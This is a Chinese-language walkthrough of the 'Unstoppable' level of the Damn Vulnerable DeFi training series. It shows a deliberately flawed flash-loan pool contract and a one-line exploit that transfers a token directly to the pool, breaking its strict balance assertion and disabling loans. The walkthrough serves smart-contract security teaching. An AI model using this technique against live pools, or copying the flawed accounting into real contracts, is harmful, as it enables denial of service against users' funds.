跳到主要内容

unstoppable

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

先执行下面的命令

# 克隆仓库
git clone https://github.com/tinchoabbate/damn-vulnerable-defi.git
# 切换分支
git checkout v2.2.0
# 安装依赖
yarn

在 test 文件中的 *.challenge.js 编写你的解决方案,之后运行 yarn run [挑战名], 没有报错则通过。

首先开始第一题 Unstoppable

题目描述:

有一个余额为 100 万个 DVT 代币的借贷池子,免费提供了闪电贷的功能。需要有一种方法能够攻击该借贷池,并阻止该借贷池的功能。

该题的智能合约共有两个文件

UnstoppableLender.sol 借贷池合约

contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken; // DVT token实例
uint256 public poolBalance; // 当前合约中的 DVT 余额

constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
// 由 DVT token 地址创建合约实例
damnValuableToken = IERC20(tokenAddress);
}

// 存入 token 到该合约中
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// 调用 DVT token 智能合约中的 transferFrom 方法
// 从合约调用者的DVT余额中转 amont 数量到该合约中
damnValuableToken.transferFrom(msg.sender, address(this), amount);
// 增加余额
poolBalance = poolBalance + amount;
}

// 提供的闪电贷方法
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");

// 获取该合约中 token 余额
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
// 确保余额大于借出的数量
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// 确保记录的余额等于真实的余额
assert(poolBalance == balanceBefore);

// 将 token 从合约中转出到合约调用者
damnValuableToken.transfer(msg.sender, borrowAmount);

// 执行合约调用者的 receiveTokens 方法
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

// 确保已返还 token
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}

ReceiverUnstoppable.sol 执行闪电贷的合约

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ReceiverUnstoppable {
UnstoppableLender private immutable pool; // 借贷池实例
address private immutable owner;

constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}

// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
// 确保该方法的调用者是 pool 地址
require(msg.sender == address(pool), "Sender must be pool");
// 返还 token 到 msg.sender
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}

// 执行闪电贷
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}

智能合约很简单,有个借贷池的合约,我们可以往其中存入 token, 并且提供了闪电贷的功能。还有个执行闪电贷功能的合约,其可以调用借贷池合约的 flashLoan 方法借出 token,并在其回调的方法中返还借出的 token。

为了完成使借贷池功能失效,需要在 test/unstoppable/unstoppable.challenge.js 文件中编写你的攻击代码。

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser

// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000')
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100')

before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

// 生成三个账号
;[deployer, attacker, someUser] = await ethers.getSigners()

// 获取token合约和借贷池合约
// token 合约位于 contracts/DamnValuableToken.sol,构造函数中给 deployer type(uint256).max 个token
const DamnValuableTokenFactory = await ethers.getContractFactory(
'DamnValuableToken',
deployer
)
const UnstoppableLenderFactory = await ethers.getContractFactory(
'UnstoppableLender',
deployer
)

// 本地节点中发布 token 合约 和 借贷池合约
this.token = await DamnValuableTokenFactory.deploy()
this.pool = await UnstoppableLenderFactory.deploy(this.token.address)

// deployer 授权给借贷池合约可以操作其账户的 TOKENS_IN_POOL 数量的token
await this.token.approve(this.pool.address, TOKENS_IN_POOL)
// 将 deployer 的 TOKENS_IN_POOL 数量的 token 转入到借贷池
await this.pool.depositTokens(TOKENS_IN_POOL)

// 将 deployer 的 INITIAL_ATTACKER_TOKEN_BALANCE 数量的 token 转入到 attacker 地址
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE)

// 断言:确保借贷池中 token 转入成功
expect(await this.token.balanceOf(this.pool.address)).to.equal(
TOKENS_IN_POOL
)

// 断言:确保 attacker 地址中 token 转入成功
expect(await this.token.balanceOf(attacker.address)).to.equal(
INITIAL_ATTACKER_TOKEN_BALANCE
)

// 获取执行闪电贷的合约
const ReceiverContractFactory = await ethers.getContractFactory(
'ReceiverUnstoppable',
someUser
)
// 发布合约
this.receiverContract = await ReceiverContractFactory.deploy(
this.pool.address
)
// someUser 执行合约的 executeFlashLoan 方法,借出10个 token 并返还
await this.receiverContract.executeFlashLoan(10)
})

it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
// 从 attacker 的账户转 1 个token到借贷池中
// 该代码可完成攻击
await this.token.connect(attacker).transfer(this.pool.address, 1)
})

after(async function () {
/** SUCCESS CONDITIONS */

// It is no longer possible to execute flash loans
await expect(this.receiverContract.executeFlashLoan(10)).to.be.reverted
})
})

该测试脚本主要做了几件事

  • 从 deployer 转入 1000000 个 token 到借贷池中
  • 从 deployer 转入 100 个 token 到 attacker 地址中
  • someUser 执行闪电贷借出了 10 个 token 并归还
  • 从 attacker 转入 1 个 token 到借贷池中
  • 再次执行闪电贷会报错

为什么执行下面的代码会使用闪电贷功能失效呢

await this.token.connect(attacker).transfer(this.pool.address, 1)

原因在于借贷池合约的 flashloan 方法中的assert(poolBalance == balanceBefore); 期望 poolBalance 的值等于真实余额。 当调用 depositTokens 存入 token 时,poolBalance 变量能够正确的计算。但当我们手动转入 token 时,poolBalance 变量并没有如期的进行相加。而此时借贷池合约中的 token 真实余额是大于 poolBalance 的,所以会使闪电贷功能失效。

最后执行 yarn unstoppable , 测试通过!

完整代码